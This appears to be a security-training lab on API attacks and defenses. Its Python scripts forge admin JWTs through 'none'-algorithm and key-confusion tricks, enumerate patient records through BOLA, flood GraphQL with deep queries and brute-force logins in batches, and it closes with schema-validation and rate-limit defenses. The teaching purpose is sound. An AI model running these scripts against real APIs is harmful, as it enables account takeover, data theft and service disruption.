Lab 28: API Security Testing — OWASP API Top 10 Attacks & Defenses¶

#!/usr/bin/env python3
"""JWT 'none' algorithm attack — EDUCATIONAL ONLY (SYNTHETIC)"""

import base64
import json
import requests

API_BASE = "https://api.example.com/v2"  # SYNTHETIC

def base64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# Craft a JWT with alg: none and escalated privileges
header = {"alg": "none", "typ": "JWT"}
payload = {
    "sub": "user-5847",
    "username": "testuser",
    "email": "testuser@example.com",
    "role": "admin",                          # Escalated from "patient"
    "permissions": ["admin:all", "read:all_records", "write:all"],
    "iat": 1715500800,
    "exp": 1715590800,
    "iss": "https://auth.example.com",
    "aud": "medvault-api"
}

# Build the unsigned JWT: header.payload.
forged_token = (
    base64url_encode(json.dumps(header).encode()) + "." +
    base64url_encode(json.dumps(payload).encode()) + "."
)

print(f"[*] Forged JWT (none algorithm):")
print(f"    {forged_token[:60]}...")

# Attempt to use the forged token
response = requests.get(
    f"{API_BASE}/users/me",
    headers={"Authorization": f"Bearer {forged_token}"}
)

print(f"\n[*] Response Status: {response.status_code}")
print(f"[*] Response Body: {json.dumps(response.json(), indent=2)}")

if response.status_code == 200:
    user_data = response.json()
    if user_data.get("role") == "admin":
        print("\n[!] CRITICAL: 'none' algorithm accepted — admin access achieved!")
    else:
        print("\n[+] Token accepted but role not escalated")
else:
    print("\n[+] Server correctly rejected 'none' algorithm token")

#!/usr/bin/env python3
"""RS256-to-HS256 algorithm confusion attack — EDUCATIONAL ONLY (SYNTHETIC)"""

import hmac
import hashlib
import base64
import json
import requests

API_BASE = "https://api.example.com/v2"  # SYNTHETIC

def base64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# Step 1: Download the public key (PEM format)
# In a real engagement, convert JWKS to PEM or download from /public-key endpoint
PUBLIC_KEY_PEM = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0SYNTHETIC...
REDACTED...EXAMPLE...ONLY
-----END PUBLIC KEY-----"""

# Step 2: Forge a token with HS256 using the public key as HMAC secret
header = {"alg": "HS256", "typ": "JWT"}
payload = {
    "sub": "user-5847",
    "username": "testuser",
    "role": "admin",
    "permissions": ["admin:all"],
    "iat": 1715500800,
    "exp": 1715590800,
    "iss": "https://auth.example.com",
    "aud": "medvault-api"
}

# Encode header and payload
header_b64 = base64url_encode(json.dumps(header).encode())
payload_b64 = base64url_encode(json.dumps(payload).encode())
signing_input = f"{header_b64}.{payload_b64}".encode()

# Sign with HMAC-SHA256 using the public key as the secret
signature = hmac.new(
    PUBLIC_KEY_PEM.encode(),
    signing_input,
    hashlib.sha256
).digest()

forged_token = f"{header_b64}.{payload_b64}.{base64url_encode(signature)}"

print(f"[*] Forged JWT (HS256 with public key as secret):")
print(f"    {forged_token[:60]}...")

# Test the forged token
response = requests.get(
    f"{API_BASE}/internal/admin/users",
    headers={"Authorization": f"Bearer {forged_token}"}
)

print(f"\n[*] Admin endpoint status: {response.status_code}")
if response.status_code == 200:
    print("[!] CRITICAL: Algorithm confusion successful — admin access!")
    print(f"[*] Admin users: {json.dumps(response.json()[:2], indent=2)}")
else:
    print("[+] Server correctly rejected HS256 token (algorithm pinned)")

#!/usr/bin/env python3
"""BOLA/IDOR enumeration script — EDUCATIONAL ONLY (SYNTHETIC)"""

import requests
import json

API_BASE = "https://api.example.com/v2"  # SYNTHETIC
TOKEN = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.SYNTHETIC.REDACTED"

headers = {"Authorization": f"Bearer {TOKEN}"}
exposed_records = []

print("[*] Starting BOLA enumeration on /v2/patients/{id}")
print("[*] Testing IDs 1000-1050...\n")

for patient_id in range(1000, 1051):
    response = requests.get(
        f"{API_BASE}/patients/{patient_id}",
        headers=headers
    )

    if response.status_code == 200:
        data = response.json()
        print(f"[+] ID {patient_id}: {data.get('name', 'Unknown')} — "
              f"DOB: {data.get('dob', 'N/A')}")
        exposed_records.append(data)
    elif response.status_code == 404:
        pass  # Record doesn't exist
    elif response.status_code == 403:
        print(f"[-] ID {patient_id}: Access denied (properly protected)")
    elif response.status_code == 429:
        print(f"[!] ID {patient_id}: Rate limited — pausing")
        break

print(f"\n[*] Total records accessed: {len(exposed_records)}")
print(f"[!] BOLA/IDOR confirmed — {len(exposed_records)} patient records exposed")

#!/usr/bin/env python3
"""GraphQL depth attack — EDUCATIONAL ONLY (SYNTHETIC)"""

import requests
import json
import time

GQL_BASE = "https://graphql.example.com/query"  # SYNTHETIC

def build_depth_query(depth: int) -> str:
    """Build a deeply nested GraphQL query exploiting circular references."""
    query = "{ patients { "
    inner = ""
    for i in range(depth):
        inner += "appointments { doctor { patients { "
    # Close all braces
    inner += "id " + "} " * (depth * 3)
    return query + inner + "} }"

# Test increasing depths
for depth in [5, 10, 20, 50, 100]:
    query = build_depth_query(depth)
    start = time.time()

    try:
        response = requests.post(
            GQL_BASE,
            json={"query": query},
            timeout=30
        )
        elapsed = time.time() - start

        if response.status_code == 200:
            print(f"[+] Depth {depth:3d}: {elapsed:.2f}s — HTTP 200 "
                  f"(Response: {len(response.content)} bytes)")
        elif response.status_code == 400:
            error_msg = response.json().get("errors", [{}])[0].get("message", "")
            print(f"[-] Depth {depth:3d}: Rejected — {error_msg}")
        else:
            print(f"[?] Depth {depth:3d}: HTTP {response.status_code}")
    except requests.exceptions.Timeout:
        elapsed = time.time() - start
        print(f"[!] Depth {depth:3d}: TIMEOUT after {elapsed:.2f}s — "
              f"server likely overloaded")

#!/usr/bin/env python3
"""GraphQL batching brute-force attack — EDUCATIONAL ONLY (SYNTHETIC)"""

import requests
import json

GQL_BASE = "https://graphql.example.com/query"  # SYNTHETIC

# Synthetic password list (EDUCATIONAL — all fictitious)
passwords = [
    "REDACTED-password1", "REDACTED-password2", "REDACTED-password3",
    "REDACTED-password4", "REDACTED-password5", "REDACTED-password6",
    "REDACTED-password7", "REDACTED-password8", "REDACTED-password9",
    "REDACTED-password10", "REDACTED-password11", "REDACTED-password12",
    "REDACTED-correct-password", "REDACTED-password14",
    "REDACTED-password15", "REDACTED-password16",
]

# Build batched login mutations — 16 attempts in one request
batch = []
for i, password in enumerate(passwords):
    batch.append({
        "query": f"""
            mutation attempt{i} {{
                login(username: "admin", password: "{password}") {{
                    token
                    success
                    message
                }}
            }}
        """
    })

print(f"[*] Sending batched brute-force: {len(batch)} login attempts in 1 request")

response = requests.post(GQL_BASE, json=batch)
results = response.json()

print(f"[*] HTTP Status: {response.status_code}")
print(f"[*] Received {len(results)} responses\n")

for i, result in enumerate(results):
    data = result.get("data", {}).get(f"attempt{i}", {})
    if data and data.get("success"):
        print(f"[!] CREDENTIAL FOUND at attempt {i}:")
        print(f"    Password: {passwords[i]}")
        print(f"    Token: {data.get('token', 'N/A')[:40]}...")
        break
    elif data:
        print(f"[-] Attempt {i}: {data.get('message', 'Failed')}")

#!/usr/bin/env python3
"""JSON Schema validation middleware — EDUCATIONAL EXAMPLE"""

from jsonschema import validate, ValidationError
import json

# Define strict schemas for each endpoint
SCHEMAS = {
    "PATCH /v2/users/me": {
        "type": "object",
        "properties": {
            "email": {
                "type": "string",
                "format": "email",
                "maxLength": 255
            },
            "name": {
                "type": "string",
                "minLength": 1,
                "maxLength": 100,
                "pattern": "^[a-zA-Z\\s'-]+$"
            },
            "phone": {
                "type": "string",
                "pattern": "^\\+?[1-9]\\d{1,14}$"
            }
        },
        "additionalProperties": False,  # CRITICAL: reject unknown fields
        "required": []
    },
    "POST /v2/patients": {
        "type": "object",
        "properties": {
            "name": {
                "type": "string",
                "minLength": 1,
                "maxLength": 200
            },
            "email": {
                "type": "string",
                "format": "email"
            },
            "dateOfBirth": {
                "type": "string",
                "format": "date",
                "pattern": "^\\d{4}-\\d{2}-\\d{2}$"
            }
        },
        "additionalProperties": False,
        "required": ["name", "email", "dateOfBirth"]
    }
}

def validate_request(method: str, path: str, body: dict) -> dict:
    """Validate request body against JSON Schema."""
    schema_key = f"{method} {path}"
    schema = SCHEMAS.get(schema_key)

    if not schema:
        return {"valid": False, "error": "No schema defined for endpoint"}

    try:
        validate(instance=body, schema=schema)
        return {"valid": True}
    except ValidationError as e:
        return {
            "valid": False,
            "error": f"Validation failed: {e.message}",
            "path": list(e.absolute_path),
            "rejected_field": e.path[-1] if e.path else None
        }

# Test: legitimate update — should pass
result = validate_request("PATCH", "/v2/users/me", {
    "email": "newemail@example.com",
    "name": "Test User"
})
print(f"Legitimate update: {result}")
# Output: {'valid': True}

# Test: mass assignment attempt — should fail
result = validate_request("PATCH", "/v2/users/me", {
    "email": "newemail@example.com",
    "role": "admin",
    "is_admin": True,
    "permissions": ["admin:all"]
})
print(f"Mass assignment attempt: {result}")
# Output: {'valid': False, 'error': "Validation failed: Additional properties are
#          not allowed ('role', 'is_admin', 'permissions' were unexpected)"}

#!/usr/bin/env python3
"""API rate limiting configuration — EDUCATIONAL EXAMPLE"""

# Express.js rate limiting configuration (Node.js)
RATE_LIMIT_CONFIG = """
const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');
const Redis = require('ioredis');

const redis = new Redis({
    host: '10.10.50.200',  // SYNTHETIC — RFC 1918
    port: 6379
});

// Global rate limit — 100 requests per 15 minutes per IP
const globalLimiter = rateLimit({
    store: new RedisStore({ sendCommand: (...args) => redis.call(...args) }),
    windowMs: 15 * 60 * 1000,
    max: 100,
    standardHeaders: true,
    legacyHeaders: false,
    message: {
        error: 'rate_limit_exceeded',
        message: 'Too many requests. Try again later.',
        retryAfter: 900
    }
});

// Strict rate limit for authentication endpoints
const authLimiter = rateLimit({
    store: new RedisStore({ sendCommand: (...args) => redis.call(...args) }),
    windowMs: 15 * 60 * 1000,
    max: 5,                    // Only 5 login attempts per 15 minutes
    skipSuccessfulRequests: true,
    message: {
        error: 'auth_rate_limit',
        message: 'Too many login attempts. Account temporarily locked.',
        retryAfter: 900
    }
});

// Sensitive endpoint rate limit
const sensitiveLimiter = rateLimit({
    store: new RedisStore({ sendCommand: (...args) => redis.call(...args) }),
    windowMs: 60 * 1000,
    max: 10,
    message: {
        error: 'sensitive_rate_limit',
        message: 'Rate limit exceeded for this resource.'
    }
});

// Apply rate limiters
app.use('/v2/', globalLimiter);
app.use('/v2/auth/login', authLimiter);
app.use('/v2/auth/register', authLimiter);
app.use('/v2/patients/', sensitiveLimiter);
app.use('/v2/reports/', sensitiveLimiter);
"""

print(RATE_LIMIT_CONFIG)